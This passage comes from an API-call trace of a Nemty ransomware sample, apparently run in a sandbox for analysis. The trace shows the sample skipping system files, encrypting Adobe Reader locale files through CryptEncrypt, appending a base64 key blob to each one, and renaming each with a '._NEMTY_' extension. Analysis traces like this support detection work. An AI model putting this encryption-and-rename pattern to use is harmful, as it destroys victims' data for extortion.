lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.481] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=133632) returned 1 [0178.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0178.481] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.481] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0178.489] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.489] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0178.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.490] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=133632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20a00 [0178.490] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.490] CloseHandle (hObject=0x2e8) returned 1 [0178.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.490] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Checkers.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\checkers.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Checkers.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\checkers.ita._nemty_kgobjgd_")) returned 1 [0178.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.491] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82abf8e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.ITA", cAlternateFileName="")) returned 1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2=".") returned 1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="..") returned 1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="...") returned 1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="windows") returned -1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="rsa") returned -1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="NTDETECT.COM") returned -1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="ntldr") returned -1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="MSDOS.SYS") returned -1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="IO.SYS") returned -1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="boot.ini") returned 1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="boot.ini") returned 1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="ntuser.dat") returned -1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="desktop.ini") returned 1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="CONFIG.SYS") returned 1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="RECYCLER") returned -1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="bootmgr") returned 1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="programdata") returned -1 [0178.491] lstrcmpiW (lpString1="DigSig.ITA", lpString2="appdata") returned 1 [0178.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ITA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ITA", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ITA", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.ITA", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.ITA", lpUsedDefaultChar=0x0) returned 10 [0178.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.492] Sleep (dwMilliseconds=0x5) [0178.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e097970, dwHighDateTime=0x1d561e8)) [0178.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e097970, dwHighDateTime=0x1d561e8)) [0178.493] GetLastError () returned 0x0 [0178.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.493] GetLastError () returned 0x0 [0178.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.493] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.493] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.493] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.494] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="2Wyv4w+AWxkObcNseFAeS1JX3bX0EorcnutD6uPE11n41n9vX7wLqzYQUHoGPtE/\r\nVwfuUpp8b1seTMWZMl+n4px+gv5KxSSNqhuYPkJE4pk1ZMfHJhyEmOr8dEyhjYA2\r\nbhEId1K5RaZ6z2QvNylW4e4XgPOeKFRvSKX5fCHeFo1uu/88is2dDkPJCX5bQM9e\r\n/1n6kbXgzUjlVn13n/dmIXhQCwv++ATPaNXrO0+o6Am/FjmxgvWLOYxbJaSEpWrH\r\n6Ub7Q3zY3nwZMy2qDCccXJxB/6weEyThBNS03zKFFEaZUtuD2F2eu/JD7qKQtvaL\r\nyG1IZQYHx4HEXFRvB+T2Yw==\r\n", pcchString=0x653e5dc) returned 1 [0178.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.494] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\DigSig.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\digsig.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.495] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=135680) returned 1 [0178.495] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0178.495] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.495] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0178.503] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.503] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0178.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.504] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=135680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21200 [0178.504] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.504] CloseHandle (hObject=0x2e8) returned 1 [0178.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.504] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.504] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0178.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.504] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.504] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\DigSig.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\digsig.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\DigSig.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\digsig.ita._nemty_kgobjgd_")) returned 1 [0178.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0178.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.505] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.505] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ae5a40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.ITA", cAlternateFileName="")) returned 1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2=".") returned 1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="..") returned 1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="...") returned 1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="windows") returned -1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="rsa") returned -1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="NTDETECT.COM") returned -1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="ntldr") returned -1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="MSDOS.SYS") returned -1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="IO.SYS") returned -1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="boot.ini") returned 1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="boot.ini") returned 1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="ntuser.dat") returned -1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="desktop.ini") returned 1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="CONFIG.SYS") returned 1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="RECYCLER") returned -1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="bootmgr") returned 1 [0178.505] lstrcmpiW (lpString1="DVA.ITA", lpString2="programdata") returned -1 [0178.506] lstrcmpiW (lpString1="DVA.ITA", lpString2="appdata") returned 1 [0178.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ITA", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0178.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ITA", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.ITA", lpUsedDefaultChar=0x0) returned 7 [0178.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ITA", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0178.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ITA", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.ITA", lpUsedDefaultChar=0x0) returned 7 [0178.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ITA", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0178.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ITA", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.ITA", lpUsedDefaultChar=0x0) returned 7 [0178.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ITA", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0178.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ITA", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.ITA", lpUsedDefaultChar=0x0) returned 7 [0178.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.506] Sleep (dwMilliseconds=0x5) [0178.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e0bdad0, dwHighDateTime=0x1d561e8)) [0178.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e0bdad0, dwHighDateTime=0x1d561e8)) [0178.509] GetLastError () returned 0x0 [0178.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.509] GetLastError () returned 0x0 [0178.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.509] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.509] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.509] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.509] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="B1zntmgl/5Q41JF56BDhEGEvzNRdQd+lLWCbgbMgO1fde3XDxLUYEZR5F+tCgXUj\r\nWQMohj33RKT5tP3Sxq6xxNYoHtmbPCXZ+cLqYCJ6QY7CqhNPve4Y63Z/6mgjF3C4\r\n/zupgTA5vi5CG9lV3e0lD7m33J3kGaDgxlfaogfr0KVjNlR3Vcm6RkSdGSWux7c3\r\ny2hBcRFAEQwp0nQa6g8SWcfgE4XCmnxyBNfsJLgDWZ88aB38USWKFsEXTG1dw8rP\r\nZpMYf0vlX/0VQSMw9BbsM7Rs3jYiYf69f31ideD8sLckIst4IhXs2PgIJJ8cQ24f\r\nUFSRLJefBxkdopzaFSDQMw==\r\n", pcchString=0x653e5dc) returned 1 [0178.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.509] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\DVA.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\dva.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 